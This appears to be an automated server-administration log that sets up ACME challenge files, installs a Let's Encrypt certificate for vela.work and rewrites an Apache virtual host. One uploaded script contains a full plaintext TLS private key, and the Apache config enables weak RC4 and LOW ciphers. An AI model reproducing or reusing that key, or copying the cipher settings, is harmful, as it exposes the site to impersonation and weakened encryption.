MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-07-23 06:00:03: Establishing a connection
2026-07-23 06:00:03: Establishing a connection
2026-07-23 06:00:04: 

PUT: /tmp/pkp312371

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_backup/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-23 06:00:04: 

chmod 755 /tmp/pkp312371; /tmp/pkp312371; rm /tmp/pkp312371

2026-07-23 06:00:04: 


1


2026-07-23 06:00:05: Establishing a connection
2026-07-23 06:00:06: 

PUT: /tmp/pkp995304

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cat > zY-IoxdsGEfY05QnyTvfEAFQllJx8x75fcgCUDeuExU <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
zY-IoxdsGEfY05QnyTvfEAFQllJx8x75fcgCUDeuExU.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 zY-IoxdsGEfY05QnyTvfEAFQllJx8x75fcgCUDeuExU


2026-07-23 06:00:06: 

chmod 755 /tmp/pkp995304; /tmp/pkp995304; rm /tmp/pkp995304

2026-07-23 06:00:06: 




2026-07-24 06:00:02: Establishing a connection
2026-07-24 06:00:02: Establishing a connection
2026-07-24 06:00:02: 

PUT: /tmp/pkp105037

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_backup/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-24 06:00:03: 

chmod 755 /tmp/pkp105037; /tmp/pkp105037; rm /tmp/pkp105037

2026-07-24 06:00:03: 


1


2026-07-24 06:00:04: Establishing a connection
2026-07-24 06:00:04: 

PUT: /tmp/pkp409031

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cat > zybcU33LOpTfuZVCw9_st3fjuejR7gXZYzXaniceOe8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
zybcU33LOpTfuZVCw9_st3fjuejR7gXZYzXaniceOe8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 zybcU33LOpTfuZVCw9_st3fjuejR7gXZYzXaniceOe8


2026-07-24 06:00:04: 

chmod 755 /tmp/pkp409031; /tmp/pkp409031; rm /tmp/pkp409031

2026-07-24 06:00:04: 




2026-07-24 06:00:06: Establishing a connection
2026-07-24 06:00:06: Establishing a connection
2026-07-24 06:00:06: 

PUT: /tmp/pkp895620

#!/bin/bash
if [ -d "/var/www/vela_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-24 06:00:07: 

chmod 755 /tmp/pkp895620; /tmp/pkp895620; rm /tmp/pkp895620

2026-07-24 06:00:07: 


0


2026-07-24 06:00:41: Establishing a connection
2026-07-24 06:00:41: 

PUT: /tmp/pkp104110

#!/bin/bash
temp_file=$(mktemp)
TARGET=56a76e69b767db598a27d260cea98579.crt

cat > $temp_file <<'endmsg'
e7:70:c2:01:c6:8a:af:cc:ea:09:5e:c1:89:32:00:81

-----BEGIN CERTIFICATE-----
MIIE7DCCA9SgAwIBAgISBeSr5T9Ms0Z8UrBSKGBLxOG8MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNzI0MDUwMjEwWhcNMjYxMDIyMDUwMjA5WjAUMRIwEAYDVQQD
Ewl2ZWxhLndvcmswggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDU+SJ6
7t/O4ZxZQwdnnmuAUnSPXka3a+eZjyBEhr6jJxDIc1IhhO/iXA0I32ShQgdgcEpe
C+5wuN/lGqcFYglDAbpojWyIMy4Bu7IPpDv4wFcYZXXIt73qPa25kAVsf2pTORlO
BhWB0RQTDdVugpf7FQn5KvNNiPGMnEr6kiWYJimdXBs77z6zuSklbhovyjrLxsDY
mhB9AZb+Ffadd/TuLLpPjY3QHO5ReHqf9l/uGoBBLPRdh2yjphFWO2ix8ERUVfWU
5ODaQpFIvvJeyvQsRPgZAdxaHffvND1ZvINJRRGGek7xsVMElKltGbBQGKIZpuL8
PkOqPWutWGuCmTzhAgMBAAGjggIXMIICEzAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0l
BAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU1osjyfOxdG2/
GmpKvf5+7Opy0lEwHwYDVR0jBBgwFoAUHy81vkYUgs1Asa55LFV4+vfUaPswMwYI
KwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8veXIxLmkubGVuY3Iub3Jn
LzAUBgNVHREEDTALggl2ZWxhLndvcmswEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYD
VR0fBCcwJTAjoCGgH4YdaHR0cDovL3lyMS5jLmxlbmNyLm9yZy82MS5jcmwwggEM
BgorBgEEAdZ5AgQCBIH9BIH6APgAdwDXbX0Q0af1d8LH6V/XAL/5gskzWmXh0LMB
cxfAyMVpdwAAAZ+StizKAAAEAwBIMEYCIQCuHSXy9V/lSBKjXsgO/F73STCddNGf
yCCtsJvF+mhlpAIhANvGPH5l5nTaRMCLuriZHCkQ5TTTwPjKbyee2Nslmn/dAH0A
Goudaw/+v4G0eTnG0jEKhtbRAtTwRuIYLJ3jX14mJe8AAAGfkrYuCQAIAAAFAC0c
zZMEAwBGMEQCIAacqiTST5Z4tucxOm7t8gcMW3mWTsx6SGr/HNwKSWf4AiBj6Tmj
wp/OT1Q/j/5/mJyboGs0MogJfUsT14x11OFxFjANBgkqhkiG9w0BAQsFAAOCAQEA
WViArKYrOqBn+DRq5Vg/IaJJ13ou3IHvZT0AMuKifbak/dmOR2o7YzCeRI6uEVRf
qQOWc6j4Ax0mF5aaUEhnX03Mz2ubZvJxILRX9NiPGZRt3zQ/WxRec/tjLddotlkB
y6kMeCjMrIE5GaDYuwPi90CRBtu95zqM1jakvwCDbEUoiM7rdUokmYHrGEH2otBv
/Si3e2viR39joBBRx+3PGNppp3D4ZpeZ2d930cge5UfroM6HsSASLZN7vWq2oePS
JLGb3OPrEFyrBk6vtV2f7CzN4ukkCBDfpx9vm4kXlv18Z0HLPQH/BDh1MVBPZCrE
T7V/TMJm7LpJihxC20L8PQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDU+SJ67t/O4ZxZ
QwdnnmuAUnSPXka3a+eZjyBEhr6jJxDIc1IhhO/iXA0I32ShQgdgcEpeC+5wuN/l
GqcFYglDAbpojWyIMy4Bu7IPpDv4wFcYZXXIt73qPa25kAVsf2pTORlOBhWB0RQT
DdVugpf7FQn5KvNNiPGMnEr6kiWYJimdXBs77z6zuSklbhovyjrLxsDYmhB9AZb+
Ffadd/TuLLpPjY3QHO5ReHqf9l/uGoBBLPRdh2yjphFWO2ix8ERUVfWU5ODaQpFI
vvJeyvQsRPgZAdxaHffvND1ZvINJRRGGek7xsVMElKltGbBQGKIZpuL8PkOqPWut
WGuCmTzhAgMBAAECggEAN7yRzQl6EjsSP3we0nvv12/86E58hGFdhd8iyzxWZP2C
02r22iXf3+ZGVQWd4OQWaSNKGy3VM7P2iI9+mZaMJPitT9J/Tm/SgQqdsaFCProb
sRtQhXys28JTlmY+PSRlb61YVYabF1PgBJKQwnC0FLZvW0Hl1etah/mZV9VquFP+
FjDCAwkCSmBr8y+kbhHp1JccldyTevXLiARRu0MmnxVhuDyrgeUn/itlBIyLc5rH
2zNspspovOpKX7tuBo63I6H3qfTzkuyu/nDWDw06+2K4DDIC/zEJidQt/SLTCsrR
hkp20VGC1fTvuj1VDXbQgDq0Oz8pONMV4HRe5sgf9wKBgQD2rGnykL3/pe4FzHA6
euS77jhO1QryWEPk85++BaoyeX5wi3muSYaU6bBih9Htgqe1F2fq1eij+GX00k4Q
N0tWn/Pdxlr9HjOWR8PkgTORnN7NlfSUxbnn+uvMOKxQaDEmhdvW5INd6cYGhsCH
mfiGKRj34LLKtA8TQxUGW7fnWwKBgQDdBoftyhxh876rjxbCysuC33uTlwQjcQ9c
tnvliX/GI5Lss6VdxGo+wgonJ8D7OjoixT17tYBTy4buFpk4TJocojWcEq5BgBkD
CDUSHwHA1liOAjYfB9lUuhWAurhEpYp0Oont7mmbK3Pt78m3t/iC8Sfi2rdXBUQ1
a8J17wUdcwKBgQDlfcqj7Z2Wtp0Xr/fJsIQVg6/HR9WDWjLwUugPNd3+T6IeuuRe
DfGzoSaExK++NIwqorf/dzuVMYhJmU8fLxJcaTvM3LnSO8Lq0aGiecGsezGeOyDt
OHeZJ40w1pkZxZXUrTy2VKsTOGcPs1Zz0f+xcZLVKqusgpBz7zkkTThveQKBgQDU
Guxe+dH6/hpAMPS6wjpCwYypugayrFD9u/Fx+V2xG3pnxI4xSchbqYJsyO2dKeeY
bofuK+OWhn5aBT3MlVZfnBquSA8JtJBMJJgpZ7AbCpe4z854QOQDNwBjpMwotGQF
3hd3SY/25OA/uhluQRIvNpX8UcAXtmoaier3mgTimQKBgQDDzbuDTGJLbU1lK6Qi
6HbQsn0NSa1ZzOGwIQQFyZVO/+m22CvBUvXFP5+q2WzzUTtPRUBWEiGIPHx2+4GI
gea30+hqrP/eRGcu0iMPbupbewKihzkO+a86cSG8e2kgnZQUyENzUIMUEO7y+nWs
/bsxWAmZssNuZ6QmIoI30qwhtA==
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-07-24 06:00:41: 

chmod 755 /tmp/pkp104110; /tmp/pkp104110; rm /tmp/pkp104110

2026-07-24 06:00:41: 


dir=/etc/ssl/certs


2026-07-24 06:00:41: 

PUT: /tmp/pkp676919

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/vela_www_work.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-07-24 06:00:41: 

chmod 755 /tmp/pkp676919; /tmp/pkp676919; rm /tmp/pkp676919

2026-07-24 06:00:41: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/vela_www_work.conf 37

<VirtualHost *:80>
    ServerName	vela.work
    #    ServerAlias	www.vela.work
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/vela_www/public
    <Directory /var/www/vela_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vela/www_access.log combined
    ErrorLog	/var/log/apache2/vela/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	vela.work
    #    ServerAlias	www.vela.work
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/56a76e69b767db598a27d260cea98579.crt
    DocumentRoot	/var/www/vela_www/public
    <Directory /var/www/vela_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vela/www_secure_access.log combined
    ErrorLog	/var/log/apache2/vela/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-07-24 06:00:41: 

PUT: /tmp/pkp174796

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=vela_www_work.conf
TARGET=/etc/apache2/sites-enabled/vela_www_work.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	vela.work
    #    ServerAlias	www.vela.work
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/vela_www/public
    <Directory /var/www/vela_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vela/www_access.log combined
    ErrorLog	/var/log/apache2/vela/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	vela.work
    #    ServerAlias	www.vela.work
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/56a76e69b767db598a27d260cea98579.crt
    DocumentRoot	/var/www/vela_www/public
    <Directory /var/www/vela_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vela/www_secure_access.log combined
    ErrorLog	/var/log/apache2/vela/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/vela_www_work.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/vela_www_work.conf)= /etc/apache2//etc/apache2/sites-enabled/vela_www_work.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/vela_www_work.conf= 1'
fi


2026-07-24 06:00:41: 

chmod 755 /tmp/pkp174796; /tmp/pkp174796; rm /tmp/pkp174796

2026-07-24 06:00:41: 




2026-07-24 06:00:41: 

PUT: /tmp/pkp484666

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-07-24 06:00:41: 

chmod 755 /tmp/pkp484666; /tmp/pkp484666; rm /tmp/pkp484666

2026-07-24 06:00:42: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-07-24 06:00:42: Establishing a connection
2026-07-24 06:00:42: 

PUT: /tmp/pkp996061

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

